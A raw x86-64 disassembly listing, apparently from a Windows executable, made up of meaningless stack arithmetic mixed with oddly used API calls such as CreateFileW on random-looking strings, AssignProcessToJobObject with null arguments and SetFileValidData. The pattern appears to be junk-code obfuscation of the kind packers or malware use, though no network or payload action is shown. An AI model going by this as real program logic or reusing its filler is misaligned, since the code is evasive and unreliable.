mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6a0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x2e7], al
lea rax, [rsp + 0x1b80]
mov qword [0x1401e3488], rax
mov rax, qword [rsp + 0x8ea0]
mov rcx, qword [rsp + 0xb258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb668]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xb640]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14001c4c0
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb630], rax
lea rdx, [rsp + 0x5778]
mov rcx, qword [rsp + 0xb6c8]
call qword [sym.imp.USER32.dll_ScreenToClient]
mov dword [rsp + 0x58bc], eax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb368]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb6b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb6e0]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rax]
call fcn.14015c130
jmp 0x14001c5cf
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb698]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1e0]
mov rdx, qword [rsp + 0x8bd8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001c5cf
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb728]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0xb738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1be0], ax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37a], al
mov dword [rsp + 0x38], 0x2a
mov dword [rsp + 0x30], 0x2c
mov dword [rsp + 0x28], 0x2f
mov dword [rsp + 0x20], 0x23
mov r9d, 6
mov r8, qword [rsp + 0xb4f8]
mov rdx, qword [rsp + 0xb588]
mov rcx, qword [rsp + 0xb770]
call qword [sym.imp.USER32.dll_DeferWindowPos]
mov qword [rsp + 0xb778], rax
mov rax, qword [rsp + 0xb468]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb678]
movzx r8d, word [rsp + 0x109c]
movzx edx, byte [rsp + 0x38b]
mov ecx, dword [rsp + 0x54d8]
call fcn.14015c0f0
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb520]
mov qword [rsp + 0xb780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb780]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb468], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.ZImJXL7ruoVlfFIGWsauHa4cfC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb788], rax
mov eax, dword [rsp + 0x5808]
mov dword [rsp + 0x58c0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xb490]
mov ecx, dword [0x1401a838c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5898], eax
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xb590]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401a83b8], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov byte [rsp + 0x391], al
lea rcx, [rsp + 0xb670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x385]
and ecx, edx
cmp eax, ecx
jne 0x14015a89c
lea rax, [rsp + 0x37e]
mov qword [0x1401e3480], rax
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1300], ax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb210]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5c0], rax
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov qword [rsp + 0xb790], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rcx, qword [rsp + 0xb600]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x58c4], eax
movzx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b88], ax
lea rax, [0x1401e34e8]
mov qword [rsp + 0xb798], rax
movzx eax, byte [rsp + 0x38e]
movzx ecx, byte [rsp + 0x378]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x346]
sub ecx, edx
cmp eax, ecx
jle 0x14015a657
movzx ecx, word [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb4]
shl eax, cl
mov word [0x1401a83b4], ax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x382]
xor eax, ecx
mov byte [rsp + 0x387], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb688]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac40]
mov rdx, qword [rsp + 0xb640]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14001c930
mov rax, qword [rsp + 0xb400]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb268]
mov rax, qword [rsp + 0xb288]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x584c]
call fcn.14015c0f0
mov r9d, 0xcf
mov r8d, 0xb9
mov rdx, qword [rsp + 0xb3a8]
mov rcx, qword [rsp + 0xb588]
call qword [sym.imp.USER32.dll_DlgDirSelectComboBoxExW]
mov dword [rsp + 0x58c8], eax
mov rax, qword [0x1401a8380]
mov rcx, qword [rsp + 0xb368]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb680], rax
mov rax, qword [rsp + 0xb5f8]
mov rcx, qword [rsp + 0x8ea0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb430]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb5a0]
mov ecx, dword [rsp + 0x5870]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e04], eax
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rsp + 0xb5e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb268], rax
movzx eax, word [rsp + 0x1b90]
mov word [rsp + 0x1c10], ax
mov rcx, qword [rsp + 0xb360]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5858], eax
mov rax, qword [0x1401e34b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
mov word [0x1401a83c0], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x387]
sub eax, ecx
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x115]
and ecx, edx
cmp eax, ecx
jg 0x14015a4f2
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x387]
add eax, ecx
mov byte [0x1401e3490], al
mov rax, qword [rsp + 0xb610]
mov rcx, qword [rsp + 0xb710]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [0x1401a83ac]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0xb518]
movzx eax, word [rax]
mov word [rsp + 0x1c14], ax
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x38e]
sub eax, ecx
mov byte [rsp + 0x1ed], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5858], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [0x1401e34e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa380], rax
mov eax, dword [rsp + 0x58a0]
mov ecx, dword [rsp + 0x58a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5874], eax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov dword [rsp + 0x58cc], eax
mov rax, qword [rsp + 0xb4d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe7], al
lea rcx, [rsp + 0x193a0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x381]
cdq
idiv ecx
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [0x1401e347e], ax
mov rax, qword [0x1401e3498]
movzx eax, word [rax]
mov word [rsp + 0x1c18], ax
mov rax, qword [rsp + 0xb680]
mov rcx, qword [rsp + 0xb750]
mov qword [rsp + 0xb7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb750]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5754]
movzx ecx, al
mov eax, dword [rsp + 0x5888]
shr eax, cl
mov rcx, qword [rsp + 0xb638]
mov ecx, dword [rcx]
mov edx, dword [0x1401a838c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14001cc68
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [rsp + 0xb750]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb6e8], rax
mov eax, dword [rsp + 0x58c0]
mov ecx, dword [rsp + 0x549c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x585c], eax
lea r8, [rsp + 0x1ae40]
mov rdx, qword [rsp + 0xb480]
mov rcx, qword [rsp + 0xb7a8]
call qword [sym.imp.USER32.dll_GetClassInfoW]
mov dword [rsp + 0x58c8], eax
mov rax, qword [rsp + 0xb620]
mov rcx, qword [rsp + 0xb400]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x4f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58cc], eax
movzx eax, byte [0x1401a803d]
movzx ecx, byte [rsp + 0x380]
sub eax, ecx
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1be8]
add eax, ecx
mov word [rsp + 0xb18], ax
movsx eax, word [rsp + 0x1c0c]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a83c0], ax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9668], rax
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shr rax, cl
mov rcx, qword [rsp + 0xb4d0]
mov rdx, qword [rsp + 0xb520]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jne 0x14001ce35
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb408]
shl rax, cl
mov rcx, qword [rsp + 0xb4d0]
mov rdx, qword [rsp + 0xb308]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jb 0x14001ce1a
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xb210]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c10], ax
lea rcx, str.YSSuz_J_ByPSFcH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bd4], ax
movsx eax, word [rsp + 0x139c]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
movsx ecx, word [rsp + 0x1104]
movsx edx, word [rsp + 0x1bc8]
sub ecx, edx
cmp eax, ecx
jne 0x14001ce18
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5848]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
movzx eax, byte [rsp + 0x37f]
mov byte [rsp + 0x392], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x581c], eax
mov rax, qword [0x1401e34f0]
mov rcx, qword [rsp + 0xb698]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
jmp 0x14001ce35
mov rdx, qword [rsp + 0xb7b0]
mov ecx, 0xcb
call qword [sym.imp.USER32.dll_SetClipboardData]
mov qword [rsp + 0xb7b8], rax
movzx eax, byte [rsp + 0x232]
imul eax, eax, 0x93
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a83c4], ax
mov rax, qword [0x1401e3488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10dc], ax
movsx eax, word [rsp + 0x1bb8]
movsx ecx, word [rsp + 0xd68]
add eax, ecx
mov word [rsp + 0x1bd0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x484e67
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5788], eax
mov rax, qword [0x1401e34a0]
movzx eax, byte [rax]
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xb430]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f8c], eax
mov eax, dword [rsp + 0x58a0]
mov ecx, dword [rsp + 0x5860]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x571c]
mov edx, dword [0x1401a8370]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001d020
mov rax, qword [rsp + 0xb508]
mov rcx, qword [rsp + 0xb308]
mov qword [rsp + 0xb7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7c0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5874], eax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1330], ax
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37e], al
mov edx, 0xc9
mov rcx, qword [rsp + 0xb588]
call qword [sym.imp.USER32.dll_GetClassWord]
mov word [rsp + 0x1c18], ax
mov rax, qword [0x1401e3488]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e34a8], ax
mov rax, qword [rsp + 0xb5f8]
mov rcx, qword [rsp + 0x8ff0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb790], rax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb6b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa488], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb7c8], rax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov word [rsp + 0x1c1c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x58c0]
mov dword [rsp + 0x58d4], eax
imul eax, dword [rsp + 0x58cc], 0xa73b
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0xb5c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e3480]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33b], al
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1104]
or eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x1b90]
mov word [rsp + 0x1c20], ax
movsx eax, byte [0x1401a8039]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
mov dword [rsp + 0x58d8], ecx
mov rdx, qword [rsp + 0xb1f0]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x58d8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001d261
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x385], al
mov eax, dword [rsp + 0x5878]
mov ecx, dword [0x1401e34f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xb638]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb638]
mov dword [rcx], eax
lea rdx, [rsp + 0xb730]
mov rcx, qword [rsp + 0xb6c8]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x58b4], eax
mov rax, qword [rsp + 0xb620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa488], rax
movzx eax, byte [rsp + 0x393]
movzx ecx, byte [rsp + 0x383]
add eax, ecx
mov byte [0x1401a803c], al
mov rcx, qword [rsp + 0xb7d0]
call qword [sym.imp.USER32.dll_SetActiveWindow]
mov qword [rsp + 0xb4f8], rax
jmp 0x14001d2f8
lea rcx, [rsp + 0x18540]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0xb670]
mov rcx, qword [rsp + 0xb598]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5744], eax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c1c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.6yYVOdNZhzz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb7d8], rax
movzx eax, word [rsp + 0x1bb8]
mov word [rsp + 0x1c24], ax
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [0x1401a8039]
sub eax, ecx
mov byte [rsp + 0x29c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x58a4], eax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
cqo
movabs rcx, 0x76cc91f8277dc3
idiv rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bb8]
movzx ecx, al
mov rax, qword [rsp + 0xb710]
shl rax, cl
mov rcx, qword [rsp + 0xb6b0]
mov rdx, qword [rsp + 0xa878]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jne 0x14001d446
mov rax, qword [rsp + 0xb620]
mov rcx, qword [rsp + 0xb5e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5880]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x5798]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5758], eax
movsx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c0c], ax
movzx eax, word [rsp + 0x1c18]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401e34ca], ax
mov rax, qword [rsp + 0xb6a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x385], al
mov rax, qword [rsp + 0xb4a0]
mov rcx, qword [rsp + 0xb610]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
jmp 0x14001d535
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0xd68]
or eax, ecx
movsx ecx, word [rsp + 0x1c00]
mov dword [rsp + 0x58dc], ecx
movsx edx, word [0x1401e347e]
movzx ecx, dl
mov edx, dword [rsp + 0x58dc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001d535
mov eax, dword [rsp + 0x5754]
mov ecx, dword [0x1401a8388]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
mov rax, qword [rsp + 0xb540]
mov rcx, qword [rsp + 0xb5a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x465c], eax
lea r8, [rsp + 0x1ae90]
mov rdx, qword [rsp + 0xb3a8]
mov rcx, qword [rsp + 0x18510]
call qword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [rsp + 0x5814], eax
mov ecx, dword [rsp + 0x5868]
call fcn.14015bee0
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb698]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb268], rax
movzx eax, word [rsp + 0x1bc0]
movzx ecx, word [rsp + 0x1330]
add eax, ecx
mov rcx, qword [rsp + 0xb738]
mov word [rcx], ax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0x38b]
shl eax, cl
mov byte [rsp + 0x38d], al
mov rax, qword [rsp + 0xb4d8]
movzx ecx, byte [rax]
call fcn.14015bf50
lea rax, [rsp + 0xb4b8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb4f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
mov r8d, 0xc9
mov edx, 0xff
mov rcx, qword [rsp + 0x18518]
call qword [sym.imp.USER32.dll_TrackPopupMenuEx]
mov dword [rsp + 0x5900], eax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803a]
sar eax, cl
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [rsp + 0xb5d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb5c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf0]
add eax, ecx
mov word [rsp + 0x1ba0], ax
jmp 0x14015a7e1
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x91a0]
shl rax, cl
mov rcx, qword [rsp + 0xb678]
mov rdx, qword [rsp + 0xb408]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14015a7e1
movsx eax, word [rsp + 0x1bdc]
mov rcx, qword [rsp + 0xb590]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff0], rax
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [0x1401a8038]
sub eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x139c]
mov rcx, qword [rsp + 0xb5b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb528]
mov word [rcx], ax
mov r9, qword [rsp + 0xb258]
mov rax, qword [rsp + 0xb5a0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x5878]
mov rcx, qword [rsp + 0xb5f8]
call fcn.14015c1e0
lea rdx, [rsp + 0x57ec]
mov rcx, qword [rsp + 0xb6d0]
call qword [sym.imp.USER32.dll_ScreenToClient]
mov dword [rsp + 0x58f8], eax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0xb638]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5868]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xb798]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0xb4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b90], ax
mov r9d, 0x21
mov r8d, 0xf9
mov edx, 0x6e
mov rcx, qword [rsp + 0x18520]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0xb9e0], rax
call fcn.14015c090
mov eax, dword [rsp + 0x5884]
movzx ecx, al
mov eax, dword [rsp + 0x58a8]
sar eax, cl
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4620]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x587c], eax
movzx eax, word [rsp + 0x1bfc]
movzx ecx, word [0x1401a8390]
and eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb668]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x4b04]
mov rax, qword [rsp + 0xb540]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rax]
call fcn.14015c1e0
call qword [sym.imp.USER32.dll_GetFocus]
mov qword [rsp + 0xb580], rax
jmp 0x14015aa0b
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb5f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xab58]
mov rdx, qword [rsp + 0xb4a0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
